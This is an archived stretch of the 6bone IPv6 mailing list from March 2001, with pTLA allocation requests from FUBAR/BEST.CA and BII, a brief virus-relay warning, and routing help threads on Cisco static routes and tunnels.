Subject: pTLA request for FUBAR (BEST.CA) - review closes 9 Apr 2001
Cc: Richard Furda <riso@best.ca>
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6bone Folk,

FUBAR (BEST.CA) has requested a pTLA allocation. The open review period for 
this will close 9 Apr 2001. Please send your comments to me or the list.


Thanks,

Bob

============================================
>Date: Mon, 26 Mar 2001 13:49:49 -0800 (PST)
>From: Richard Furda <riso@best.ca>
>To: Bob Fink <fink@es.net>
>Cc: OW-6BONE <otis@best.ca>, RF-6BONE <rfurda@best.ca>
>Subject: Re: pTLA request
>
>
>Hello Mr. Fink,
>
>Sorry for getting back to you late on this...
>I have been extremely busy, but I have time now
>to get things in order.
>
>On Tue, 14 Nov 2000, Bob Fink wrote:
> > Richard,
> > > > What is your organization, i.e., what does it do?
> > >
> > >BEST Internet Servers/FUBAR Consultants offers consulting
> > >services in: UNIX systems administration, network design/troubleshooting,
> > >deployment and security. We are also a Cisco Resseler since March 1st
> > >2000. Since August, I've been working with Cisco Systems, testing
> > >their IPv6 IOS code and would like to continue to do so with BGP.
> > >We currently have 1 statit route, 3FFE:C00:801C::/48.Our goal
> > >is to provide symetry and redundancy to our IPv6 network. BGP is
> > >the way to go.
> >
> > If BEST is willing to apply for the pTLA that would be great as they are a
> > big ISP. Am I interpretating your response correctly in that FUBAR is part
> > of, or representing, BEST?
>
>Please find the pTLA allocation request below. Should you have
>any questions, please do not hesitate to contact me at
>rfurda@best.ca
>
>
>   1. The pTLA Applicant must have a minimum of three (3) months
>       qualifying experience as a 6Bone end-site or pNLA transit.During
>       the entire qualifying period the Applicant must be operationally
>       providing the following:
>
>         ipv6-site "FUBAR"  has been operational since August 2000.
>
>       a. Fully maintained, up to date, 6Bone Registry entries for their
>          ipv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
>
>         ipv6-site:      FUBAR
>         inet6num:       3FFE:1200:3027::/48
>         inet6num:       3FFE:C00:801C::/48
>         mnt-by:         MNT-FUBAR
>         nic-hdl:        RF-6BONE
>         nic-hdl:        OW-6BONE
>
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>          between the Applicant's boundary router and the appropriate
>          connection point into the 6Bone. This router must be IPv6
>          pingable. This criteria is judged by members of the 6Bone
>          Operations Group at the time of the Applicant's pTLA request.
>
>         tunnel:       IPv6 in IPv4 gw-cisco.ipv6.fubar.ca 
> ->    ipv6-router.cisco.com CISCO BGP4+
>         tunnel:       IPv6 in IPv4 gw-digital.ipv6.fubar.ca 
> ->  ipv6-gw1.pa-x.dec.com DIGITAL-CA BGP4+
>         tunnel:       IPv6 in IPv4 gw-nextra.ipv6.fubar.ca 
> ->   daemon.wilbury.sk NEXTRA BGP4+
>
>         Few requests were sent to UUNET and Sprint to arrange peering, but
>         no word from them yet.
>
>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>          entries for the Applicant's router(s) and at least one host
>          system.
>
>         daemon.ipv6.fubar.ca IPv6 address 3ffe:c00:801c::1
>         gw-cisco.ipv6.fubar.ca IPv6 address 3ffe:c00:e:14::2
>         gw-nextra.ipv6.fubar.ca IPv6 address 3ffe:80e1:8000::46
>         gw-digital.ipv6.fubar.ca IPv6 address 3ffe:1200:1002:1::42
>         dopey.ipv6.fubar.ca IPv6 address 3ffe:c00:801c:1::2
>
>       d. A fully maintained, and reliable, IPv6-accessible system
>          providing, at a mimimum, one or more web pages, describing the
>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>         Currently, MRTG stats are provided @ http://6bone.best.ca
>         monitoring each tunnel. FTP & telnet access is IPv6able.
>
>    2. The pTLA Applicant MUST have the ability and intent to provide
>       "production-quality" 6Bone backbone service. Applicants must
>       provide a statement and information in support of this claim.
>
>         BEST.ca has a 1.5mbit link to the internet and intends to use
>         it's resources at most possible to provide reliable,
>         production-quality connectivity. BEST's current 500 dial-up
>         base is continuelly growing. Future goal is to deploy IPv6
>         and replace IPv4. BEST depends on Zebra routing
>         software on FreeBSD UNIX platform and is currently
>         testing & evaluating Cisco IPv6 solutions.
>
>       a. A support staff of two persons minimum, three preferable, with
>          person attributes registered for each in the ipv6-site object
>          for the pTLA applicant.
>
>         Richard Furda <rfurda@BEST.ca>  RF-6BONE
>         Juraj Lutter <otis@BEST.ca>     OW-6BONE
>
>       b. A common mailbox for support contact purposes that all support
>          staff have acess to, pointed to with a notify attribute in the
>          ipv6-site object for the pTLA Applicant.
>
>         Tunnel requests and connectivity problems should be reported to
>         our common mailbox, ipv6-support@best.ca
>
>    3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or focus
>       of interest. Applicant must provide a statement and information in
>       support this claim.
>
>         As stayted above, BEST's customer base of 500 customers, is
>         growing. Web hosting service being deployed as we speak.
>
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>
>       BEST Internet Services is fully aware of the rules and policies that
>       6Bone has set and agrees to follow them to the letter.
>
>
>Thanks,
>Richard



From 6bone-owner  Tue Mar 27 14:08:50 2001
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To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for BII - review closes 10 Apr 2001
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6bone Folk,

BII, the Beijing Internet-networking Institute, has requested a pTLA 
allocation. The open review period for this will close 10 Apr 2001. Please 
send your comments to me or the list.


Thanks,

Bob

============================================
>From: "Hua Ning" <nhua@biigroup.com>
>To: "Bob Fink" <fink@es.net>
>Subject: Fw: pTLA request form
>Date: Tue, 27 Mar 2001 22:34:04 +0800
>...
> > hi. Bob,
> > This is Hua Ning from BII, Beijing,China.
> > Below is our pTLA request form.
> >
> >
> >    1. The pTLA Applicant must have a minimum of three (3) months
> >       qualifying experience as a 6Bone end-site or pNLA transit.   During
> >       the entire qualifying period the Applicant must be operationally
> >       providing the following:
> >
> >       a. Fully maintained, up to date, 6Bone Registry entries for their
> >          ipv6-site inet6num, mntner, and person objects, including each
> >          tunnel that the Applicant has.
> >
> >          ipv6-site: BII
> >          inet6num: BII   (3ffe:510::/32)
> >          mntner: MNT-BII
> >          person objects: HN2-6bone
> >          person objects: ZY1-6bone
> >
> >       b. Fully maintained, and reliable, BGP4+ peering and connectivity
> >          between the Applicant's boundary router and the appropriate
> >          connection point into the 6Bone. This router must be IPv6
> >          pingable. This criteria is judged by members of the 6Bone
> >          Operations Group at the time of the Applicant's pTLA request.
> >
> >
> >          Cisco7507, 3ffe:510:1::1(7507b-v6.ipv6.net.cn)
> >
> >
> >       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
> >          entries for the Applicant's router(s) and at least one host
> >          system.
> >
> >          ipv6 dns server: 202.204.22.201
> >          router: 7507b-v6.ipv6.net.cn
> >          host:www.ipv6.net.cn
> >          host:www.ipv6.org.cn
> >
> >       d. A fully maintained, and reliable, IPv6-accessible system
> >          providing, at a mimimum, one or more web pages, describing the
> >          Applicant's IPv6 services.  This server must be IPv6 pingable.
> >
> >          host:www.ipv6.net.cn
> >          host:www.ipv6.org.cn
> >
> >    2. The pTLA Applicant MUST have the ability and intent to provide
> >       "production-quality" 6Bone backbone service. Applicants must
> >       provide a statement and information in support of this claim.
> >       This MUST include the following:
> >
> >       a. A support staff of two persons minimum, three preferable, with
> >          person attributes registered for each in the ipv6-site object
> >          for the pTLA applicant.
> >
> >          Hua Ning:HN1-6bone  nhua@biigroup.com
> >          Zhang Yang:ZY1-6bone yzhang@biigroup.com
> >
> >       b. A common mailbox for support contact purposes that all support
> >          staff have acess to, pointed to with a notify attribute in the
> >          ipv6-site object for the pTLA Applicant.
> >
> >          ipv6@biigroup.com
> >
> >    3. The pTLA Applicant MUST have a potential "user community" that
> >       would be served by its becoming a pTLA, e.g., the Applicant is a
> >       major provider of Internet service in a region, country, or focus
> >       of interest. Applicant must provide a statement and information in
> >       support this claim.
> >
> >       Beijing Internet-networking Institute is a research ISP in China, 
> owning
> >       the national ISP license. As for the IPv6, we established 
> strategic partnership
> >       with WIDE Project.
> >       At the first phase, We wanna deploy
> >       IPv6 amoung three cities, Beijing, ShangHai, GuangZhou ,in China.
> >       The IPv6 testbed will be build based on Hitachi's GR2000-10H, and 
> Cisco's
> >       7507. Now, three GR2000-10Hs and 2 7507s have already been 
> deployed in Beijing.
> >       And , we have already built the first native IPv6 link in China 
> between BII and CERNET.
> >       We would like to provide IPv6 native access service to our 
> potential custmors.
> >
> >
> >    4. The pTLA Applicant MUST commit to abide by the current 6Bone
> >       operational rules and policies as they exist at time of its
> >       application, and agree to abide by future 6Bone backbone
> >       operational rules and policies as they evolve by consensus of the
> >       6Bone backbone and user community.
> >
> >       sure.
> >
> > Best Regards,
> >
> > _________________________________________________
> >     Hua Ning
> >     Chief Engineer
> >     Beijing Internet-networking Institute,
> >     110E 11F China Merchants Tower,
> >     No.2 Dong Huan Nan Lu, Chao Yang District,
> >     Beijing,China
> >     Zip Code: 100022
> >     Tel:+86-10-65660290-223
> >     Fax:+86-10-65660297
> > _________________________________________________
> >
> >
> >
> >



From 6bone-owner  Tue Mar 27 21:14:04 2001
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Subject: viri from hijacked *edu.cn
To: 6bone@ISI.EDU
Date: Tue, 27 Mar 2001 21:13:59 -0800 (PST)
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someone hijacked a relay in the *.edu.cn domain and attached 
a microsoft virus to mail on an old thread & replayed it into
the 6bone list.

please be careful reading mail on microsoft platforms.

-- 
"When in doubt, Twirl..."  -anon

From 6bone-owner  Wed Mar 28 02:27:41 2001
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Date: Wed, 28 Mar 2001 18:27:33 +0800 (HKT)
From: Cho Man Fai <mfcho@hknet.com>
To: 6bone@ISI.EDU
Subject: access servers
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Dear all,

This may be a bit off topic, however, I wish some may help. Do you know
any v6 enabled access server for dialup? Is the MaxTNT or Cisco as5300
provide ipv6 code?

Any comment is welcome..

thanks.

Rgds,
Kenneth Cho


From 6bone-owner  Wed Mar 28 09:43:45 2001
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Date: Wed, 28 Mar 2001 12:39:49 -0500
From: Nathaniel Clifton <nclifton@ncren.net>
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Guys,

I need some help with the following scenario:

4 routers with 2 interfaces each 0/0 and 0/1 and all of them need to
talk to one another

ip addresses:

0/0                                        0/1
10.2.3.1                                10.5.4.1
10.2.4.1                                10.2.3.2
10.6.2.1                                10.2.4.2
10.5.4.2                                10.6.2.2

I need help figuring out how the static routes would be configured.....

Thanks in advance.....


Nate
P.S. This question is for an IPv6 project

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<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
&nbsp;
<br>Guys,
<p>I need some help with the following scenario:
<p><b>4 routers</b> with <b>2 interfaces</b> each <b>0/0</b> and <b>0/1</b>
and all of them need to talk to one another
<p>ip addresses:
<p><b><u>0/0</u></b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<b><u>0/1</u></b>
<br>10.2.3.1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
10.5.4.1
<br>10.2.4.1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
10.2.3.2
<br>10.6.2.1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
10.2.4.2
<br>10.5.4.2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
10.6.2.2
<p>I need help figuring out how the static routes would be configured.....
<p>Thanks in advance.....
<br>&nbsp;
<p>Nate
<br>P.S. This question is for an IPv6 project</html>

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From 6bone-owner  Thu Mar 29 00:55:45 2001
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From: vv00@eazier.com
To: 6bone@ISI.EDU
Reply-to: <vv00@eazier.com>
Subject: the IOS is incorrect?
Date: Thu, 29 Mar 2001 17:22:17 CST
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Hi every one ,another question .
   now i install the IOS which version is c3640-is-mz.19991126,I have applied a tunnel to the 6bone site,now i can't ping the remote end of tunnel,i think maybe it is because the IOS have some bugs in it,or maybe my network has some problem.
   if someone have some good ideas about it ,pls contact with me ,thank you in advance!
vv00

-----------------------------------------------------------------
»¶Ó­·ÃÎÊ¡¡http://mail.eazier.com


From 6bone-owner  Thu Mar 29 05:20:45 2001
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Message-ID: <006a01c0b853$9c762a40$b0066aca@hmobile>
From: "Hua Ning" <nhua@biigroup.com>
To: <vv00@eazier.com>
Cc: <6bone@ISI.EDU>
References: <20010329172217.1>
Subject: Re: the IOS is incorrect?
Date: Thu, 29 Mar 2001 21:24:39 +0800
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hi, vv00,
I once used this version, it's fine. 
and I suppose there is a new version of IOS for Cisco'3640 available now,
which you can download from Cisco's website.

Good Luck.
        

Subject: the IOS is incorrect?


> Hi every one ,another question .
>    now i install the IOS which version is c3640-is-mz.19991126,I have applied a tunnel to the 6bone site,now i can't ping the remote end of tunnel,i think maybe it is because the IOS have some bugs in it,or maybe my network has some problem.
>    if someone have some good ideas about it ,pls contact with me ,thank you in advance!
> vv00
> 
> -----------------------------------------------------------------
> »¶Ó­·ÃÎÊ¡¡http://mail.eazier.com
> 
> 


_________________________________________________
    Hua Ning
    Chief Engineer
    BII Group Holdings Ltd(Beijing Internet-networking Institute),
    110E 11F China Merchants Tower,
    No.2 Dong Huan Nan Lu, Chao Yang District,
    Beijing,China
    Zip Code: 100022
    Tel:+86-10-65660290-223
    Fax:+86-10-65660297
_________________________________________________

From 6bone-owner  Thu Mar 29 10:40:40 2001
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From: "Richardson, Jeremy (LNG)" <jeremy.richardson@lexis-nexis.com>
To: "'Nathaniel Clifton'" <nclifton@ncren.net>, 6bone@ISI.EDU
Subject: RE: routing question
Date: Thu, 29 Mar 2001 13:40:18 -0500
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Each router will need two static routes.  If these are Cisco IOS routers,
you can cut and paste the two lines that appear under "RouterX's statics
routes" to each of the respective routers.  I tried this in the lab, so I
know it works.  If you stare at it long enough, it makes some sense.  

After pasting the routes, compare each router's routing table to this
message, they should be the same:

              0/0        0/1 
RouterA 10.2.3.1   10.5.4.1 
RouterB 10.2.4.1   10.2.3.2 
RouterC 10.6.2.1   10.2.4.2 
RouterD 10.5.4.2   10.6.2.2<?xml:namespace prefix = o ns =
"urn:schemas-microsoft-com:office:office" /> 
(assuming 24 bit subnet mask & Ethernet Interfaces)
10.2.3.0 = Routers A & B
10.5.4.0 = Routers A & D
10.2.4.0 = Routers B & C
10.6.2.0 = Routers C & D

RouterA's directly connected routes 
(shown in routing table, but not configured):
C 10.2.3.0 255.255.255.0 Ethernet0/0
C 10.5.4.0 255.255.255.0 Ethernet0/1
RouterA's static Routes:
ip route 10.2.4.0 225.255.255.0 Ethernet0/0
ip route 10.6.2.0 255.255.255.0 Ethernet0/1

RouterB's directly connected routes 
C 10.2.4.0 255.255.255.0 Ethernet0/0
C 10.2.3.0 255.255.255.0 Ethernet0/1
RouterB's static Routes:
ip route 10.6.2.0 225.255.255.0 Ethernet0/0
ip route 10.5.4.0 255.255.255.0 Ethernet0/1

RouterC's directly connected routes 
C 10.6,2.0 255.255.255.0 Ethernet0/0
C 10.2.4.0 255.255.255.0 Ethernet 0/1
RouterC's static Routes:
ip route 10.5.4.0 225.255.255.0 Ethernet0/0
ip route 10.2.3.0 255.255.255.0 Ethernet0/1

RouterD's directly connected routes 
C 10.5.4.0 255.255.255.0 Ethernet0/0
C 10.6.2.0 255.255.255.0 Ethernet 0/1
RouterD's static Routes:
ip route 10.2.3.0 225.255.255.0 Ethernet0/0
ip route 10.2.4.0 255.255.255.0 Ethernet0/1


 
I highly recommend a routing protocol, unless this is an excercise in static
routes. Use the following config commands on all routers, for RIP II:
router rip
  network 10.0.0.0
  version 2
 
For EIGRP:
router eigrp 1
   network 10.0.0.0
 
For OSPF:
router ospf 1
   network 10.0.0.0 0.255.255.255 area 0
 
Again, use the same configuration on each router.  The end result is the
same, and it's much easier (and dynamic).
 
Hope this helps...
 
Jeremy Richardson
 

 

 

 
 
 -----Original Message-----
From: Nathaniel Clifton [mailto:nclifton@ncren.net]
Sent: Wednesday, March 28, 2001 12:40 PM
To: 6bone@isi.edu
Subject: routing question


  
Guys, 

I need some help with the following scenario: 


4 routers with 2 interfaces each 0/0 and 0/1 and all of them need to talk to
one another 


ip addresses: 


0/0                                        0/1 
10.2.3.1                                10.5.4.1 
10.2.4.1                                10.2.3.2 
10.6.2.1                                10.2.4.2 
10.5.4.2                                10.6.2.2 


I need help figuring out how the static routes would be configured..... 


Thanks in advance..... 
  


Nate 
P.S. This question is for an IPv6 project 


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<BODY><FONT face=Arial>
<P class=MsoNormal><FONT color=#0000ff size=2><SPAN 
class=908311018-29032001>Each router&nbsp;will need two static routes.&nbsp; If 
these are Cisco IOS routers, you can cut and paste the two lines that appear 
under "<U>RouterX's statics routes</U>" to each of the respective routers.&nbsp; 
I&nbsp;tried this in the lab, so I know it works.&nbsp; If you stare at it long 
enough, it makes some sense.&nbsp; </SPAN></FONT></P>
<P class=MsoNormal><FONT color=#0000ff size=2><SPAN 
class=908311018-29032001>After pasting the routes, compare each router's routing 
table to this message, they should be the same:</SPAN></FONT></P>
<P class=MsoNormal><FONT color=#0000ff size=2><SPAN 
class=908311018-29032001><FONT face=Tahoma><FONT face=Arial><FONT 
face=Arial><FONT color=#0000ff><FONT size=2><EM><SPAN><SPAN 
style="mso-spacerun: yes"><STRONG><SPAN 
class=908311018-29032001>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
</STRONG></SPAN><U><STRONG>0/0</STRONG></U></FONT><FONT 
color=#0000ff></EM></FONT><EM><FONT 
size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<B><U>0/1</U></B> 
<BR>Router<STRONG>A</STRONG> 10.2.3.1&nbsp;&nbsp;&nbsp;10.5.4.1 
<BR>Router<STRONG>B</STRONG> 10.2.4.1&nbsp;&nbsp;&nbsp;10.2.3.2 
<BR>Router<STRONG>C</STRONG> 10.6.2.1&nbsp;&nbsp;&nbsp;10.2.4.2 
<BR>Router<STRONG>D</STRONG> 10.5.4.2&nbsp;&nbsp;&nbsp;10.6.2.2<?xml:namespace 
prefix = o ns = "urn:schemas-microsoft-com:office:office" 
/><o:p></o:p></FONT></EM></FONT></SPAN><EM><FONT color=#0000ff size=2> 
<BR></FONT></EM></FONT></FONT></FONT></SPAN></FONT><FONT color=#0000ff 
size=2><SPAN class=908311018-29032001><EM><FONT size=2><FONT color=#0000ff><SPAN 
style="FONT-FAMILY: 'Courier New'"><EM>(assuming 24 bit subnet mask &amp; 
Ethernet Interfaces)<BR></EM></SPAN></FONT></FONT></EM></SPAN></FONT><FONT 
color=#0000ff size=2><SPAN class=908311018-29032001><EM><FONT 
color=#0000ff><FONT size=2><EM><SPAN style="FONT-FAMILY: 'Courier New'">10.2.3.0 
= Routers A &amp; B</SPAN><SPAN 
style="FONT-FAMILY: 'Courier New'"></EM></FONT></FONT><BR><EM><FONT 
color=#0000ff size=2>10.5.4.0 = Routers A &amp; D<BR></FONT></EM></SPAN><FONT 
size=2><FONT color=#0000ff><EM><SPAN style="FONT-FAMILY: 'Courier New'">10.2.4.0 
= Routers B &amp; C<BR></SPAN><SPAN style="FONT-FAMILY: 'Courier New'">10.6.2.0 
= Routers C &amp; D<o:p></o:p></SPAN></EM></FONT></FONT></EM></SPAN></FONT></P>
<P class=MsoNormal><FONT face="Courier New"><FONT color=#0000ff><FONT 
size=2><STRONG>RouterA&#8217;s directly connected routes <BR></STRONG><SPAN 
style="FONT-FAMILY: 'Courier New'"></FONT></FONT></FONT><EM><FONT color=#0000ff 
size=2>(shown in routing table, but not configured):<BR></FONT></EM></SPAN><FONT 
color=#0000ff><FONT size=2><SPAN style="FONT-FAMILY: 'Courier New'"><SPAN 
class=908311018-29032001>C </SPAN>10.2.3.0 255.255.255.0 
Ethernet0/0<BR></SPAN><SPAN 
style="FONT-FAMILY: 'Courier New'"></FONT></FONT><FONT size=2><FONT 
color=#0000ff><SPAN class=908311018-29032001>C </SPAN>10.5.4.0 255.255.255.0 
Ethernet0/1<BR></FONT></FONT></SPAN><FONT color=#0000ff><FONT size=2><B><SPAN 
style="FONT-FAMILY: 'Courier New'">RouterA&#8217;s static Routes:<BR></SPAN></B><SPAN 
style="FONT-FAMILY: 'Courier New'"></FONT></FONT><FONT color=#0000ff size=2>ip 
route 10.2.4.0 225.255.255.0 Ethernet0/0<BR></FONT></SPAN><FONT color=#0000ff 
size=2><SPAN style="FONT-FAMILY: 'Courier New'">ip route 10.6.2.0 255.255.255.0 
Ethernet0/1</SPAN></FONT></P>
<P class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'"><FONT 
color=#0000ff><FONT size=2><STRONG>Router<SPAN 
class=908311018-29032001>B</SPAN>&#8217;s directly connected routes 
<BR></STRONG></FONT></FONT><FONT color=#0000ff><FONT size=2><SPAN 
style="FONT-FAMILY: 'Courier New'"><SPAN class=908311018-29032001>C 
</SPAN>10.2.<SPAN class=908311018-29032001>4</SPAN>.0 255.255.255.0 
Ethernet0/0<BR></SPAN><SPAN 
style="FONT-FAMILY: 'Courier New'"></FONT></FONT><FONT size=2><FONT 
color=#0000ff><SPAN class=908311018-29032001>C </SPAN>10.<SPAN 
class=908311018-29032001>2</SPAN>.<SPAN class=908311018-29032001>3</SPAN>.0 
255.255.255.0 Ethernet0/1<BR></FONT></FONT></SPAN><FONT color=#0000ff><FONT 
size=2><B><SPAN style="FONT-FAMILY: 'Courier New'">Router<SPAN 
class=908311018-29032001>B</SPAN>&#8217;s static Routes:<BR></SPAN></B><SPAN 
style="FONT-FAMILY: 'Courier New'"></FONT></FONT><FONT color=#0000ff size=2>ip 
route 10.<SPAN class=908311018-29032001>6.2</SPAN>.0 225.255.255.0 
Ethernet0/0<BR></FONT></SPAN><FONT color=#0000ff size=2><SPAN 
style="FONT-FAMILY: 'Courier New'">ip route 10.<SPAN 
class=908311018-29032001>5.4</SPAN>.0 255.255.255.0 
Ethernet0/1</SPAN></FONT></SPAN></P>
<P class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'"><SPAN 
style="FONT-FAMILY: 'Courier New'"><FONT color=#0000ff><FONT 
size=2><STRONG>Router<SPAN class=908311018-29032001>C</SPAN>&#8217;s directly 
connected routes <BR></STRONG></FONT></FONT><FONT color=#0000ff><FONT 
size=2><SPAN style="FONT-FAMILY: 'Courier New'"><SPAN class=908311018-29032001>C 
</SPAN>10.<SPAN class=908311018-29032001>6,2</SPAN>.0 255.255.255.0 
Ethernet0/0<BR></SPAN><SPAN 
style="FONT-FAMILY: 'Courier New'"></FONT></FONT><FONT size=2><FONT 
color=#0000ff><SPAN class=908311018-29032001>C </SPAN>10.<SPAN 
class=908311018-29032001>2.4</SPAN>.0 255.255.255.0 Ethernet 
0/1<BR></FONT></FONT></SPAN><FONT color=#0000ff><FONT size=2><B><SPAN 
style="FONT-FAMILY: 'Courier New'">Router<SPAN 
class=908311018-29032001>C</SPAN>&#8217;s static Routes:<BR></SPAN></B><SPAN 
style="FONT-FAMILY: 'Courier New'"></FONT></FONT><FONT color=#0000ff size=2>ip 
route 10.<SPAN class=908311018-29032001>5.4</SPAN>.0 225.255.255.0 
Ethernet0/0<BR></FONT></SPAN><FONT color=#0000ff size=2><SPAN 
style="FONT-FAMILY: 'Courier New'">ip route 10.<SPAN 
class=908311018-29032001>2.3</SPAN>.0 255.255.255.0 
Ethernet0/1</SPAN></FONT></SPAN></SPAN></P>
<P class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'"><SPAN 
style="FONT-FAMILY: 'Courier New'"><SPAN 
style="FONT-FAMILY: 'Courier New'"><FONT color=#0000ff><FONT 
size=2><STRONG>Router<SPAN class=908311018-29032001>D</SPAN>&#8217;s directly 
connected routes <BR></STRONG></FONT></FONT><FONT color=#0000ff><FONT 
size=2><SPAN style="FONT-FAMILY: 'Courier New'"><SPAN class=908311018-29032001>C 
</SPAN>10.<SPAN class=908311018-29032001>5.4</SPAN>.0 255.255.255.0 
Ethernet0/0<BR></SPAN><SPAN 
style="FONT-FAMILY: 'Courier New'"></FONT></FONT><FONT size=2><FONT 
color=#0000ff><SPAN class=908311018-29032001>C </SPAN>10.<SPAN 
class=908311018-29032001>6.2</SPAN>.0 255.255.255.0 Ethernet 
0/1<BR></FONT></FONT></SPAN><FONT color=#0000ff><FONT size=2><B><SPAN 
style="FONT-FAMILY: 'Courier New'">Router<SPAN 
class=908311018-29032001>D</SPAN>&#8217;s static Routes:<BR></SPAN></B><SPAN 
style="FONT-FAMILY: 'Courier New'"></FONT></FONT><FONT color=#0000ff size=2>ip 
route 10.<SPAN class=908311018-29032001>2.3</SPAN>.0 225.255.255.0 
Ethernet0/0<BR></FONT></SPAN><FONT size=2><FONT color=#0000ff><SPAN 
style="FONT-FAMILY: 'Courier New'">ip route 10.<SPAN 
class=908311018-29032001>2.4</SPAN>.0 255.255.255.0 
Ethernet0/1<o:p></o:p></SPAN><o:p></o:p></FONT></FONT></SPAN><o:p></o:p></SPAN></SPAN></FONT><FONT 
face=Tahoma><BR></P>
<DIV>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=908311018-29032001>I 
highly recommend a routing protocol, unless this is an excercise in static 
routes. Use the following config commands on all routers, for RIP 
II:</SPAN></FONT></DIV>
<DIV><STRONG><FONT color=#0000ff face=Arial size=2><SPAN 
class=908311018-29032001>router rip</SPAN></FONT></STRONG></DIV>
<DIV><STRONG><FONT color=#0000ff face=Arial size=2><SPAN 
class=908311018-29032001>&nbsp;  network 10.0.0.0</SPAN></FONT></STRONG></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=908311018-29032001><STRONG>&nbsp;  version 2</STRONG></SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=908311018-29032001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=908311018-29032001>For 
EIGRP:</SPAN></FONT></DIV>
<DIV><STRONG><FONT color=#0000ff face=Arial size=2><SPAN 
class=908311018-29032001>router eigrp 1</SPAN></FONT></STRONG></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=908311018-29032001><STRONG>&nbsp; &nbsp;network 
10.0.0.0</STRONG></SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=908311018-29032001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=908311018-29032001>For 
OSPF:</SPAN></FONT></DIV>
<DIV><STRONG><FONT color=#0000ff face=Arial size=2><SPAN 
class=908311018-29032001>router ospf 1</SPAN></FONT></STRONG></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=908311018-29032001><STRONG>&nbsp;&nbsp; network 10.0.0.0 0.255.255.255 
area 0</STRONG></SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=908311018-29032001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=908311018-29032001>Again, 
use the same configuration on each router.&nbsp; The end result is the same, and 
it's much easier (and dynamic).</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=908311018-29032001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=908311018-29032001>Hope 
this helps...</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=908311018-29032001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=908311018-29032001>Jeremy 
Richardson</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=908311018-29032001></SPAN></FONT>&nbsp;</DIV></FONT><FONT face=Tahoma>
<DIV></FONT>
<P class=MsoNormal><FONT face=Tahoma></FONT>&nbsp;</P>
<P class=MsoNormal><FONT face=Tahoma>&nbsp;</P></FONT><FONT face=Tahoma><FONT 
size=2><SPAN class=908311018-29032001></SPAN></FONT></FONT></DIV>
<BLOCKQUOTE style="MARGIN-RIGHT: 0px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma><FONT 
